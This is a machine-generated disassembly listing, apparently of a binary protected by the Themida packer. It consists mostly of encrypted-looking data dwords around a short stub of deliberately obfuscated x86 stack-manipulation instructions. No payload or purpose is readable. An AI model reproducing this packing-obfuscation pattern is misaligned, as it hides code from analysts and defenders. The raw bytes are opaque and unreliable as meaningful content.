dd 66F624E5h, 90700778h, 0DE7F523Dh, 27FD9E37h, 0F07D02F0h
dd 0B59A1B4Ah, 5C000009h, 5E059A2Bh, 57FE9332h, 52F98E29h
dd 4EF58A23h, 5AF58A1Bh, 0C1548742h, 0BD58852Ch, 0B44F8128h
dd 0AD48781Fh, 0EFDD4B18h, 4397187Eh, 2CE0B2C9h, 2AD369FCh
dd 1DB65DF8h, 0E38C1A33h, 95B11AB5h, 0F1AFF51Bh, 4C7C7D67h
dd 0A86112B9h, 0E580B09Eh, 3845150h, 4D5619AFh, 0BA000001h
dd 73A1FC2Ch, 0FE8ED3CEh, 31B85F00h, 20D06601h, 0AB14477h
dd 7C2C9D71h, 0A47749A3h, 62EAB3BAh, 7B24D46Ah, 6C05AC4Bh
dd 92923C82h, 7A4D47A2h, 629A07D3h, 37C7439Ch, 1EC5608Eh
dd 0F6409B85h, 0B64BE5F0h, 4CF71Fh, 761F0000h, 6D06AD48h
dd 820AB783h, 31D8699Ch, 7361F798h, 47A300F1h, 0D6A2491Ch
dd 439CE069h, 40E77AADh, 49F08BB9h, 8B8B95DEh, 0D1D255E5h
dd 84234FC2h, 4EDBCB1Bh, 9CCCEF60h, 0C6673A43h, 31B781DCh
dd 1FB5E4A4h, 9436h, 0FC2C9A00h, 83BC269h, 0F3FC66Dh, 1A4AD178h
dd 8F6027B3h, 19BA3B8Ch, 74E5D383h, 0BF49A3F0h, 0FFB02ECh
dd 49A3D5A9h, 0FC2CADDDh, 8829C269h, 821D49F2h, 40C89198h
dd 3AC4B248h, 75479C2Ah, 30630CA2h, 26590095h, 5848B58Bh
dd 4B7AFA67h, 86FCAh, 50E51600h, 4DE814BBh, 48E311B8h
dd 44DD0CB3h, 3CD508AFh, 39F40CA7h, 2FD66B06h, 27CE6302h
dd 26CD62F5h, 0FDCA5FF6h, 1630A18Fh, 647B4397h, 68F92C92h
dd 69FC2CD3h, 60FD2AD3h, 2F3620B9h, 7BFC2CBDh, 6E07AE49h
dd 998737CDh, 49A3F228h, 1FA73A6Ch, 0F38EBD4Ch, 3969F009h
dd 6068099Eh, 0DE000002h, 0B74A7C25h, 6A8D7710h, 0AB54EAE2h
dd 0EEF6E07Fh, 0A3056A00h, 4F3D0547h, 439CD4DEh, 0EB55629h
dd 9CD4D542h, 0C9720243h, 0C25B029Dh, 0D4CD3E2Ch, 4518439Ch
dd 136005Bh, 6EA12A58h, 0F2932CD3h, 6FC8B24Bh, 1FB5DE66h
dd 1EC74h, 77E7D800h, 9549A3F2h, 60F7270Dh, 4B3B29BFh
dd 844797C1h, 2175E6D4h, 0EDC04397h, 0A0360903h, 9B30C7F7h
dd 9B31C4F4h, 218CFDEBh, 4D74397h, 9B04375h, 0DF6D8670h
dd 856F0636h, 4CE2DA62h, 96370C5Eh, 0F420C941h, 0A2756F59h
dd 7D6C7BCCh, 0E76897F0h, 768h, 0B247DE0Fh, 0AB40DF0Bh
dd 0A63BD604h, 0A035D0FFh, 962BC6F9h, 0F528E3FBh, 0F320C75Ch
dd 0EC1EC55Ah, 0ED1DC459h, 8AF8C55Ah, 97152B9Ch, 8D5F7643h
dd 4B7BFC2Ch, 0DD640BACh, 0C2731AADh, 0E1113F09h, 0EA8B2658h
dd 0C07F5655h, 465D19AEh, 0C1000001h, 6EA1FC2Ch, 0BE92D8E5h
dd 22CB6102h, 22F15AF3h, 9365843Dh, 23AAC3ADh, 4FD28CF3h
dd 5BC45D8Ch, 30D1A45Dh, 5D4AD29Bh, 0A3D4FE6Fh, 0D5764949h
dd 0EBA7513Fh, 0A16247A2h, 503ED46Fh, 439CBBDFh, 0FB6572Ah
dd 9CBBD643h, 16200343h, 0B5F305D0h, 20D71Fh, 0A3B0000h
dd 6F48A82h, 47A30184h, 6935DCAFh, 439CE0FCh, 0F6F84629h
dd 1FB5D0DFh, 0B9FDh, 0FC2C6100h, 75E5487Bh, 2974D5F3h
dd 0BD56FD9Eh, 97C83927h, 401349A3h, 3E71F89Fh, 4575FCA3h
dd 54840BB2h, 0A03FA6D3h, 0CBCC267Ch, 6D02A344h, 0A3FB2B81h
dd 0F5B53849h, 0F9CA55B6h, 29595A44h, 0A830F98Eh, 0A22C1AB0h
dd 0CF479BECh, 0C65CF926h, 99DC67D8h, 0F5DFB243h, 0E29228FBh
dd 0F39A535Fh, 97C90B87h, 1BBC55FCh, 64FD3031h, 5CF528CFh
dd 64F13386h, 1798C7FAh, 628h, 72079ECFh, 6B009FCBh, 66FB96C4h
dd 60F590BFh, 56EB86B9h, 0B5E8A3BBh, 0B3E0871Ch, 0ACDE851Ah
dd 0ADDD8419h, 4AB8851Ah, 9713EB5Ch, 4D1F3643h, 0D368F92Ch
dd 0B74A7C25h, 99CCCCDh, 0FC2C0274h, 0B3BC269h, 0A629D76Ch
dd 2CF0BC60h, 6F6A5463h, 27h
dd 69FC2CE5h, 6C0B3BC2h, 0A06E01C5h, 61E74676h, 0F493BF21h
dd 664BB44Dh, 0F08DBA08h, 6E0FB049h, 2938D9h, 2CAE0000h
dd 0F6C269FCh, 49A3F288h, 0AA9FA9E2h, 0C53D8127h, 8C76631Ch
dd 26BC5B8Bh, 0CAB44F7Dh, 39215C3h, 0C10E637Dh, 2CCA9680h
dd 19C269FCh, 15039991h, 4797C17Fh, 1B1471Ah, 1FF26351h
dd 7C3D4397h, 2812B34Eh, 0CB60F727h, 0AD48741Dh, 0F392C2C3h
dd 231BA34Ch, 0EF2C9F8Dh, 8535418Ah, 8A4F2697h, 84B0713Dh
dd 8A942E9h, 0BB51241Eh, 0B1D85B0Bh, 349719A9h, 4A52C397h
dd 0CA9D3D8Ah, 0C56C0B3Bh, 1141422Ch, 0A3AE176h, 0DB44F7Dh
dd 832CD374h, 0C46D03FBh, 0A12FC95h, 89496E1Ch, 9066393Bh
dd 0EE4E28C3h, 10788B7h, 0A8000005h, 0A249DE77h, 9B42D776h
dd 963DD26Dh, 9239CE67h, 9631C65Fh, 0F590C37Eh, 0F18CB960h
dd 0F083B55Ch, 0F184B45Bh, 33218F5Ch, 439713C2h, 2524F60Dh
dd 1EB63AA2h, 0F988ACA0h, 474832CDh, 44EB8017h, 53DA8114h
dd 2CDD8423h, 4B7BA573h, 0BD1817ACh, 0B19AF97h, 0EF962F62h
dd 52786C56h, 0DC000000h, 0F48A820Ah, 34495271h, 0CFB9AC81h
dd 9605D9C7h, 491C47A2h, 655303B3h, 439C04F4h, 81826C3Fh
dd 711FB44Fh, 18029BC8h, 9C0567D2h, 0F277A743h, 0E88128C5h
dd 0D90BB247h, 75F8A83Eh, 0ED2E1C3Ch, 0D4451923h, 1F439CE0h
dd 0C849624Ch, 450h, 69FC2C3Eh, 6C0B3BC2h, 8E860ED7h, 8600AF8h
dd 481B47A3h, 0D768D5A1h, 0B295439Ch, 0D7736264h, 36691FB5h
dd 0CD000000h, 0B5507C25h, 2820A8CBh, 122A492h, 7A4D47A3h
dd 0E19A07D3h, 0B1DE439Ch, 0B7E66D14h, 0C30C771Eh, 3013B975h
dd 0D0F5E0E6h, 2AD31FB5h, 80745EF7h, 0F1h, 497C25E4h, 0F264D5C3h
dd 0DCAF49A3h, 11FB943Bh, 9E45E010h, 0BB51E417h, 2CB2BC38h
dd 8C9DCA3Dh, 0F92D968Bh, 1E372129h, 737E0D90h, 0F3B95E0h
dd 0BBA546E1h, 44EB8ABAh, 65FA8DBDh, 0A3C9C379h, 90275749h
dd 2C8677FAh, 0E235B2E8h, 0E38A2553h, 0B259604Ah, 444D1B82h
dd 0BDBA95F9h, 44CC751Ch, 0EE95305Eh, 0FF96C655h, 881EBF58h
dd 0A29EAC9Ah, 862FF747h, 7D16BD58h, 9C8E38A9h, 27E88343h
dd 20379F5Dh, 89D3EDFh, 29BFB73Fh, 94BFAB3Bh, 6D57F241h
dd 0EDD8E159h, 8F060782h, 39DAF26Ch, 26590298h, 1C4FF68Bh
dd 12B2B389h, 6190F07Fh, 33FE0h, 20B5E600h, 1DB8E48Bh
dd 18B3E188h, 14ADDC83h, 0CA5D87Fh, 9C4DC77h, 0FFA63BD6h
dd 0F79E33D2h, 0F69D32C5h, 0CD9A2FC6h, 1100715Fh, 344B4397h
dd 7AF92C62h, 770CAD48h, 7005A0D0h, 8A820AFEh, 18406F4h
dd 0DCAF47A3h, 6FAEC346h, 6053B018h, 26CF5D76h, 0A54070F7h
dd 0DAC465FEh, 9C252794h, 0A7715443h, 0B68CB421h, 0FE261Fh
dd 0CB4E0000h, 0CD7DF709h, 0DFAB9569h, 0C269FC2Ch, 0C66D083Bh
dd 0A3EF44FAh, 18A8D849h, 0A3EEB92Ah, 0A2310449h, 0A339DA73h
dd 0A130CDFAh, 9831D873h, 0D000A7AEh, 0C31C9F35h, 0B24583A8h
dd 0E7C53624h, 3D1049A3h, 0B99B29Ch, 15CB3262h, 0BA8B169h
dd 0F99239DAh, 7764EC0Fh, 0A37D1889h, 95305C49h, 0FACD55EEh
dd 6A13C359h, 59CA9E37h, 0A449A37Dh, 0F1DFE7D1h, 47A25E03h
dd 2798864Eh, 6B439C4Eh, 61FAA13Ch, 487706D9h, 0AE770CADh
dd 0AA982E26h, 4194B405h, 0AE57EDC0h, 0AE55EA7Bh, 5B14EA7Bh
dd 27F07FCEh, 22A77F8h, 0A0D10000h, 9DC97005h, 98C66D02h
dd 92C168FDh, 88BB62F7h, 0A5BD58EDh, 891EB7EAh, 8318B5E2h
dd 8217AADCh, 770CABDBh, 0DD4E3CAAh, 28439710h, 0F92C3F11h
dd 0FC2CD368h, 0F82AD369h, 0CA4EA895h, 1EBF438Fh, 0EDF4DE77h
dd 0E70BC3Fh, 9863DEF0h, 9C2BCC65h, 1EEAD46Dh, 16877525h
dd 6149A3F2h, 73A3A48Eh, 76A62DD4h, 74A049DFh, 0B2D132D9h
dd 60621460h, 484F39DAh, 2FD671A1h, 7006FE86h, 0A1F22482h
dd 5B8E4F47h, 0A79523CAh, 439BF236h, 6C0DAE81h, 887626D6h
dd 439BF217h, 4ABB8F62h, 87439BF2h, 9BF22899h, 18A07343h
dd 0BB425B45h, 0C047EE89h, 0C250F792h, 9BF263D4h, 22DBAE43h
dd 0EC5FDF69h, 7BAB95A3h, 575CC1EEh, 0D73EF711h, 21B657F8h
dd 42D8D058h, 9A8BAE54h, 5FCE6941h, 0A48FF79h, 47CE7516h
dd 15D98017h, 0E068B482h, 8D2EC7FAh, 83224EF7h, 0FDA39199h
dd 0AA3B9365h, 66D5E027h, 0CE37F2DFh, 6853A4F3h, 0F2ECD60Eh
dd 0D1670231h, 8D7B72E3h, 49EABD37h, 0A41503B3h, 0EF378D7Bh
dd 842B321Ch, 931AC154h, 981FC661h, 0A32AD16Ch, 6B2FD671h
dd 5BCE4ED8h, 6A130412h, 0B5B6A03Dh, 945DF285h, 907E140Ch
dd 358C5532h, 40B19F4Fh, 8B318655h, 13D4CEB8h, 8DBB4AE5h
dd 11B24BF2h, 14B3E36Ah, 890C026Dh, 93F59595h, 76D1BB93h
dd 14D45CA8h, 0AB977DB7h, 2CC2637Ah, 84E2E03Eh, 0A3380B2Fh
dd 871A4CF5h, 0FAF27A9Dh, 0B0A87664h, 0A0732972h, 0A34272F9h
dd 9E37640Dh, 0D606ADB4h, 0C133CD77h, 22C3419Bh, 0E319AF7Bh
dd 30705456h, 1AC15487h, 0F23C9781h, 65931444h, 720D3BCAh
dd 0FC9132CBh, 0FC922555h, 41ED5E4Ch, 7038EDF4h, 0F4421182h
dd 0E8895CEDh, 0E88F2A59h, 0C54C654Fh, 0CD54FB96h, 0DA61089Bh
dd 0FE6910ADh, 38AB6BB5h, 0C7F721EFh, 0BFF19A30h, 85333A24h
dd 3321AFDCh, 0EDF442C2h, 0F2993A0Dh, 3E6E6F59h, 157F00A7h
dd 0F5000000h, 16877525h, 5349A3F2h, 0A3F1F465h, 0E46C3F49h
dd 76582711h, 0C36AFB2Ch, 0D2790C3Ch, 0D77E194Bh, 0E38A2350h
dd 0F198295Ch, 0F79E376Ah, 1A84170h, 0AB14C7Ah, 11B85783h
dd 59545167h, 4C181h, 0E9830000h, 240C8704h, 0E389535Ch
dd 4C381h, 0EB810000h, 4, 5C241C87h, 57243489h, 0C781E789h
dd 4, 8704EF83h, 895C243Ch, 6850241Ch, 6B7B7E8Dh, 0F7954858h
dd 0D0595D5h, 89718851h, 8B5458C6h, 0C481241Ch, 4, 4C9268h
dd 24048900h, 4389F089h, 1C8B5808h, 0E6895624h, 4C681h
dd 0C6830000h, 24348704h, 2434FF5Ch, 4C4835Eh, 0FA9856E9h
dd 0D86204FFh, 9FE5CF89h, 0B8EF0432h, 60CE4AAh, 0E0FFC503h
dd 5972E14Bh, 63142A10h, 0DFD543Dh, 3CD05989h, 7C3508EBh
dd 0EDCh, 0BAE90240h, 6800000Ch, 60CE6D4h, 0FB5C3FE9h
dd 0E7E568FFh, 35E9060Ch, 68FFFB5Ch, 60CE991h, 0FB5C2BE9h
dd 0EA1F68FFh, 21E9060Ch, 68FFFB5Ch, 60CEB13h, 0FB5C17E9h
dd 0ED1068FFh, 0DE9060Ch, 68FFFB5Ch, 60CEDC4h, 0FB5C03E9h
dd 0EF3B68FFh, 0F9E9060Ch, 68FFFB5Bh, 60CF092h, 0FB5BEFE9h
dd 0C4938CFFh, 61342BF2h, 0FFD0C88Fh, 9774662Dh, 3308FEC5h
dd 0DA4E8F61h, 763D0FE4h, 0FD6A883h, 0A970421Bh, 0F20BDDB4h
dd 0E77ECBB5h, 36778024h, 7A514638h, 8E655A2Fh, 0BD0AF4B1h
dd 0B68631CCh, 0B188B2D5h, 44391004h, 7C4B226Dh, 2E375A31h
dd 9D4A273Dh, 8DDAC4A7h, 868631CCh, 7EB3D6A5h, 38E81094h
dd 5DA8898Ch, 2AB2FA4Bh, 1E66CF80h, 6A4A14EDh, 2A8CF1h
dd 0F8A50000h, 0F2082B04h, 7E5BC962h, 0E205DCD1h, 0DDA7C3ADh
dd 7D5E8C38h, 0BBCF2032h, 3BA4802Ah, 56E9C2EBh, 0D661F16Ah
dd 99000000h, 867C5146h, 0C297E2B1h, 0D7ACF7CCh, 0D4B7DCE2h
dd 5859C23Ah, 74693E89h, 43C7CB9Dh, 2B863166h, 936E6136h
dd 362BF2C4h, 0D05B145Fh, 0B98D7754h, 0E08C387Dh, 0E9822DFFh
dd 34E19E7Bh, 451C6740h, 60AB8478h, 73046689h, 0F486340Ah
dd 0DD7662E4h, 6433229Dh
dd 291DCA87h, 3EA25250h, 0F6AE4429h, 0E3B8AED3h, 81544A11h
dd 31E8B78Ah, 9DFD5E91h, 83DE28B5h, 7200000Ah, 11D8AA79h
dd 0AE75471Ah, 4C13E5B6h, 0E4AB7D5Ah, 754719EEh, 0F5CAC034h
dd 8E695C23h, 2801F5BCh, 0C39A8F56h, 0B19BD8F1h, 8024E664h
dd 46262465h, 0E2A97B50h, 1A2618EDh, 0E4C51966h, 0C1BF8E65h
dd 955DAEDEh, 9F7C4B08h, 694035E2h, 31B9125Fh, 34321386h
dd 3C4EBCD3h, 79A3C63Bh, 5BC962C1h, 8AD7C17Eh, 848631CCh
dd 12F3B98Eh, 2C775245h, 13FD3255h, 8C38DDF7h, 7D62AD8Eh
dd 84C7219Fh, 577A3EE4h, 2A56A4F5h, 0B0107980h, 69F1BE97h
dd 0BF36F1h, 0A24F0000h, 9EB4D7ACh, 0BD948936h, 0D4BE9B72h
dd 8631CC87h, 577C9F80h, 5B408B62h, 94DFBCAEh, 7F759ABDh
dd 0C94D5FAAh, 0A98631D1h, 5300DDB4h, 683F8A5Bh, 5F541B45h
dd 7A583D88h, 0A63979B2h, 8113443h, 3A240163h, 8C383266h
dd 0D17C4E2Fh, 3EDCA5Ah, 8633D261h, 9D5A3718h, 0DB26F9F0h
dd 0C6BCE104h, 9B481FF1h, 0AE85D0A5h, 9B70668Bh, 0FD06E8E4h
dd 9BE5729Dh, 972h, 0C7996861h, 64360900h, 2D4A59Dh, 9A6C493Bh
dd 3608DDD3h, 0B9AF2364h, 584B12E4h, 0F0E4AB7Dh, 897E4517h
dd 8AC7E0B2h, 24E553A0h, 15135480h, 9E7B5046h, 0DC27FAF1h
dd 0F1B8E205h, 7C5325FCh, 0E003DACFh, 7A5146CAh, 8E655A2Fh
dd 7907E5BCh, 0F4D0FC9Fh, 0D9525B7Eh, 7193EE1Ch, 0CDBA12Dh
dd 9901452Fh, 17F88C38h, 13AE5C3Ah, 8B85FD31h, 2E0C568h
dd 51D0656Dh, 9FC4E708h, 3A01D3AAh, 0D4916E45h, 29F79DEAh
dd 92B59680h, 1AADDDEFh, 0D0E0770h, 503AF7B5h, 4EFD703h
dd 0DB002304h, 763D0FE6h, 7A5FAA81h, 0DBFEDBCDh, 0EFD72979h
dd 552C2104h, 6B3E350Ah, 82534B20h, 254E6037h, 0E20B1DDDh
dd 12E7DC82h, 28FD481Bh, 3C135E31h, 0F5CC9E6Dh, 44917B38h
dd 4504EFD7h, 0D70D5A64h, 250604EFh, 0E2E8DD02h, 8EA4A249h
dd 552E22A7h, 5A6CB786h, 4F09F06h, 0E694EC75h, 71481AF1h
dd 8BE60493h, 4C3EA2B2h, 7E4D246Fh, 6C41365Bh, 88D3A275h
dd 3F29E6A3h, 773A9F2h, 0BB0812F3h, 0BC0773A9h, 0BCAFB8DBh
dd 610ECBA8h, 734A956Ch, 0BCD2EE50h, 0D4B30D7Ah, 5C3908DFh
dd 0C0E3BAAFh, 0E640EB96h, 704D1CEFh, 391206B3h, 0B620B416h
dd 18F9137Fh, 0C5988E3Bh, 2B29F8D1h, 68A53B2Ah, 34D7FAC8h
dd 737FD222h, 0E63EA707h, 0B316ECC5h, 4996478h, 369C0000h
dd 0CD428F79h, 62438631h, 0CC90DD3Fh, 0F4458631h, 0B18631DCh
dd 8631C048h, 31B9B405h, 0C3A1CA86h, 0C944FCE6h, 34158C38h
dd 0F614597Dh, 3E8815A3h, 7C6h, 1BEDBCB5h, 0B88A5D54h
dd 5628F9F1h, 0EEC09D8Fh, 8A5C3127h, 0D0377B8h, 0AC9F6638h
dd 4438FFD1h, 0DDD2996Bh, 0DE1B3406h, 24E3A7F4h, 615FA080h
dd 2F7A5146h, 926FF576h, 3EB1AEA8h, 0F8CAAB8Ch, 1714F64Bh
dd 0C246300Dh, 0B3862BF1h, 667488D2h, 0F835871Dh, 2A14F173h
dd 0DCCE1CD6h, 0DA93DEBFh, 1E08C551h, 0DCC3FDD1h, 9AE7F1D2h
dd 9BDCC3FDh, 240EEBBAh, 0E2CB3736h, 0C8755233h, 632AFCD3h
dd 0E0976Eh, 824D59EEh, 738ABF5h, 2E270000h, 0CFC68D5Fh
dd 6B632AFCh, 0F01C89Ah, 0A3996032h, 0E92AFCCEh, 0D8AA7F75h
dd 71431E11h, 0BDDB6AAh, 0A6784F44h, 1966508Dh, 1A8024E3h
dd 0C962DBD9h, 50947E5Bh, 498C38CDh, 7B381D68h, 0F701DACEh
dd 802ACCAAh, 0CC5DAA94h, 7556802Ah, 4DBD0AFh, 0F013E2B9h
dd 3CD0D6CBh, 0B0A49B4Dh, 0F4206B3Ah, 0D11E08C5h, 0D2802A8Fh
dd 7FC7CEF1h, 0F9D64EDDh, 48957F3Ch, 41802A90h, 97DB3D60h
dd 7E86318Fh, 76C7CB9Dh, 6086318Fh, 0A8944582h, 0BBDE4248h
dd 310A0C59h, 0DD18F686h, 33BB3C63h, 0E13F6765h, 0A7BAFDC6h
dd 74F07B84h, 1FF4EA97h, 0E3DDC7FCh, 9F8C3E7Fh, 694035E2h
dd 0F03D471Eh, 0E98024F5h, 14DE95D9h, 0A776BDC8h, 94876684h
dd 8D9FEAB9h, 80258643h, 0A47F721Fh, 85CD1F81h, 0D0C58025h
dd 0E73203FBh, 608A4110h, 3697E2B0h, 6445FA9h, 3A330000h
dd 0DBD2996Bh, 776F3608h, 1B0DD4A6h, 0AFA56C3Eh, 0F53608DAh
dd 0E4B68B81h, 7D4F2A1Dh, 17E9C2B6h, 0B2845B50h, 25725C99h
dd 1E8024E2h, 0C962DFDDh, 0F6437A2Ch, 313ABF0Ch, 0D9D7B886h
dd 0F95806D1h, 0EAAC60B0h, 0BF9C6B3Ah, 3E7EDBD5h, 82CDAE8Ch
dd 4E1B8ADh, 0F7105D47h, 28098024h, 3A30DB05h, 6664372Eh
dd 77AD6C46h, 0EF3A0954h, 8340251Ah, 255C4C99h, 626C4D80h
dd 80255C15h, 359FFE0Eh, 0B43BFE06h, 7D4416E5h, 17D4B188h
dd 24F3E02Dh, 0D5F8D980h, 91685D32h, 0A3032C46h, 45400FEDh
dd 2B2906F8h, 80A3B819h, 9F91665Bh, 0D1A077C2h, 52ECC5FFh
dd 9A64F165h, 7D000001h, 0D05DCD0h, 344A6D3Ch, 0C0918936h
dd 727B9E75h, 0A48E6BF9h, 8C38DF88h, 6C3A081h, 2AB9CF1Ch
dd 0C4E7C880h, 0B9C00F21h, 4C75802Ah, 0CC7936F4h, 0A9F600D7h
dd 0AA802AB9h, 8E9DA6C9h, 0B3CFB996h, 528631CCh, 0F5E79471h
dd 1F8CD18h, 123C5F2Eh, 347F564Bh, 0A3956A5Fh, 2E03F9C6h
dd 49E28D5Fh, 9014FEDBh, 0F28C38E7h, 0F7479814h, 81A44EF2h
dd 25378263h, 802A0ED4h, 2AE040A9h, 8BAE8B7Dh, 69A61AF3h
dd 5292F1h, 62CA0000h, 0C17E5BC9h, 0CCCD1A04h, 0E5C68631h
dd 148BB1E7h, 86A96417h, 38750824h, 0D520018Ch, 0FC4933F0h
dd 0FD802A54h, 4697F91Ch, 40802A55h, 5429744Bh, 0C7BD8A5Dh
dd 0D8C2A7F2h, 802A548Bh, 42CBAB8Ch, 0DF483AE2h, 0EF8D6687h
dd 0A005F169h, 3D000000h, 744B5146h, 0CB0FDB32h, 0CEA3EEBDh
dd 0E3B803D8h, 0F7CC17EEh, 82592B02h, 0BC07E2D5h, 4918F5E7h
dd 0AF40C426h, 3D328631h, 0BD9466h, 31A6C916h, 0C6E9CA86h
dd 0D9B6AEBDh, 3B51CBEFh, 0CE9CA8Ch, 0C294695Fh, 0FCF90DEBh
dd 8EC10B58h, 0FFFDD247h, 6A8D42D7h, 0C37A4F45h, 0A3F8C231h
dd 47A2EC79h, 36000004h, 0D59C6E3Dh, 72390BDEh, 10D7A97Ah
dd 0A86F411Eh, 390BDDB2h, 0B98E84F8h, 522D20E7h, 0ECC5B980h
dd 875E531Ah, 755F9CB5h, 8024E028h, 46E2E021h, 0E2A97B50h
dd 4E2118EDh, 46F5AD7Fh, 5A2F7A51h, 49968065h, 4A8631CDh
dd 0F1C89A69h, 0CCFD4A34h, 0F8EF8631h, 5B7E5F25h, 4CB80945h
dd 24758632h, 3A86314Dh, 6C563331h, 8C3E3272h, 8FD1F2D0h
dd 0FDC4734Ch, 0E3CDBCDAh, 80256B96h, 0B7D27F8Fh, 0DAC32855h
dd 0CF13C0Bh, 75840E2Eh, 8F8284D2h, 0C39269B4h, 9FB024C5h
dd 95B8772Eh, 0A8859F8Ch, 2C9A52BEh, 7B321386h, 9DFA6D83h
dd 9364AE3Bh, 82000003h, 21E8BA89h, 0BE85572Ah, 5C23F5C6h
dd 0F4BB8D6Ah, 855729FEh, 5DAD044h, 9E796C33h, 381105CCh
dd 0D3AA9F66h, 0C1ABE801h, 8024DF74h, 36363475h, 0CD428F79h
dd 62438631h, 4E251A3Fh, 9C3D9371h, 3D45ABA0h, 0E592771Ah
dd 0F8CF1AEFh, 0E4BBB0D5h, 52C46712h, 30E51B68h, 6C3B1C86h
dd 0FF21A58Fh, 39188C37h, 0A79F6C45h, 0D7BC07D6h, 0DAE3301Ah
dd 3E48029h, 0DB2D7EE0h, 99028029h, 72472049h, 51BFF169h
dd 0F7000000h, 428F7936h, 438631CDh, 9E093F33h, 4615577Fh
dd 0FF377848h, 94B75E2Dh, 0A784E08Bh, 15B300EAh, 0C5B48631h
dd 31158EDBh, 0D7A68786h, 79957FB4h, 108C3827h, 81D2E42Fh
dd 56802A26h, 9B7495EDh, 13F169C1h, 0FEh, 0B28B7F2Ch, 576D9067h
dd 0C24B5146h, 64AE3D0Ch, 754A9564h, 7A5FAA7Fh, 3654BB9Ch
dd 0E609A77Bh, 0AAF5CCC1h, 3709E0D5h, 319BAF33h, 0D3AA9F86h
dd 70453A01h, 8CD7A679h, 0EFCC58D3h, 0B6938532h, 2499B8h
dd 0DD002356h, 385AAB7Bh, 0EA9AAA8Ch, 9917712Ch, 48F5D2A1h
dd 5A317C53h, 0C9620D37h, 6A947E5Bh, 1F8633E7h, 0B683613Eh
dd 47F43956h, 0DDCB3A8h, 1AF8B5EAh, 1B2E52Bh, 0BE9B8D9Eh
dd 0AACD9C73h, 0DDBA8F85h, 5DE93620h, 9EA8623h, 2772453Ch
dd 3C032D50h, 4EBA7146h, 849DFD67h, 21CADF7h, 120B0000h
dd 0B3AA7143h, 4F470EE0h, 0F3E5AC7Eh, 877D4416h, 0CD0EE0B2h
dd 0BC8E6359h, 552702F5h, 0EFC19A8Eh, 8A5C3328h, 0FD4A3471h
dd 0F68024DDh, 5046B7B5h, 0F4D2A97Bh, 0C95720F8h, 33587BF7h
dd 0BE95673Eh, 0F9441D11h, 9FDD2A14h, 0F5D68631h, 0DD452826h
dd 0F2A43CC4h, 0C962B9CFh, 0DDD17E5Bh, 0BFE2B904h, 2610CD8Ah
dd 8631CCD9h, 74D6F9DAh, 8C38DE58h, 0F3055031h, 802ABBA2h
dd 3923E077h, 802ABBECh, 452F0CEDh, 802ABBF8h, 0E6ED10F1h
dd 56946D9Eh, 0CA77F16Ah, 0B704EED7h, 0B0802AC7h, 3DDD00CFh
dd 0EAh, 0DEB5A956h, 0F94413E8h, 46E9FF22h, 4A2F7A51h
dd 9B2696Ch, 31C9D21Fh, 0F4F2D386h, 0E31D79Fh, 2610F3E9h
dd 86319ED9h, 0DF2AF9DAh, 805B4DFAh, 9AE5B48Bh, 0BA3EA0C3h
dd 0B48631A3h, 4F16E8BFh, 0A893855Ah, 31A271BEh, 0C2917286h
dd 86D1A077h, 0E9C65ECDh, 38D22FFFh, 9339178Ch, 15F81616h
dd 6849678Ah, 0E440EB96h, 0AA9D4A07h, 0C14AACCFh, 9B8633B8h
dd 25A8BEBDh, 0C1E4CD4Eh, 0FACDC4A3h, 0ABA14E2Bh, 0E491DEC8h
dd 0B1928622h, 4C1BECE4h, 7BC5A37Ah, 0D4BEF6F7h, 3C876456h
dd 0D7C99665h, 0BCB2D7FAh, 47E230E7h, 77049DFDh, 0C52Dh
dd 0ECBBB400h, 895C531Ah, 27F8F0B7h, 0BF9C8E55h, 5B3026EDh
dd 276B789h, 9E65370Ch, 37FED0ABh, 0D1986A43h, 1A3305DCh
dd 0DCA6F3DDh, 5E9F8024h, 7B504660h, 16EDE2A9h, 51468C44h
dd 9D4A2F7Ah, 8CB1D4A5h, 43EEC097h, 755F3C28h, 8C3EB277h
dd 44190EBBh, 61AC7B4Ch, 6849678Ah, 4D53481Dh, 4ADB3F78h
dd 7E4D6EDh, 0D0976938h, 3D0E06DBh, 0F0E4916Eh, 0E4D21F09h
dd 0F2D38024h, 4B5D0023h, 88F573B4h, 4994675Eh, 60AB7C74h
dd 0F2C5BC89h, 3E0D2A7h, 0EFAFF7C6h, 0C47ACACBh, 1F35C9CFh
dd 1B096594h, 0BEB37A4Ch, 0D5C79CE7h, 6B68ADF8h, 0CCEFCCBEh
dd 0CABF7DC5h, 655A21F3h, 3F9438Eh, 21000000h, 4D466767h
dd 695E337Eh, 7E724792h, 92855AA5h, 0A1976CB7h, 0B6AC81CCh
dd 0CFC196E1h, 0DAD2A7F2h, 0F2E9BE09h, 5088D41Fh, 405E089h
dd 83000000h, 0FF5004E8h, 58042474h, 5C24048Fh, 81E38953h
dd 4C3h, 4EB8100h, 87000000h, 895C241Ch
db 1Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push edi
mov edi, 344157A4h
mov ebx, 0D1CB8E16h
add ebx, edi
mov edi, [esp]
add esp, 4
push 49F2h
mov [esp], esp
add dword ptr [esp], 4
pop edx
push 1072h
mov [esp], ebx
pop dword ptr [edx+8]
push dword ptr [esp]
pop edx
add esp, 4
mov ebx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_550968
; ---------------------------------------------------------------------------
a1Agz db 'х1=═gz',0
db 3Ch, 13h, 29h
dd 0F17CB81Bh, 0C503060Ch, 5E85E0FFh, 43EB6F65h, 0E1456DEh
dd 0B94C0368h, 9D7CFFh, 42B25E22h, 373819C4h, 9A7B0AE4h
dd 67AD2C64h, 0FEDE081Bh, 647718FDh, 4C720B95h, 7C336A6Ch
dd 0C1333958h, 70822581h, 4E316A7Dh, 5B776D56h, 0D1EF7F19h
dd 319755B6h, 5FC16784h, 5D90105h, 91B51887h, 0AF973ED5h
dd 198705FAh, 315F573Ch, 39CF116Fh, 9DDB6D85h
db 3Ch, 37h
word_59BA4E dw 8D8Dh ; DATA XREF: Themida_:0053E288o
dd 60CF344h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 0D1C35343h, 0BE9h, 0A6D19500h, 0D61E61A9h, 0E68545Eh
dd 1AD98D89h, 958B0607h, 6070AB9h, 101D85C7h, 6BC00607h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 0BB66BCC3h, 8501B595h, 6071AC9h, 330585C7h
dd 607h, 9D0B0000h, 6072C89h, 0BE9B5FFh, 85290607h, 6072C81h
dd 185995FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
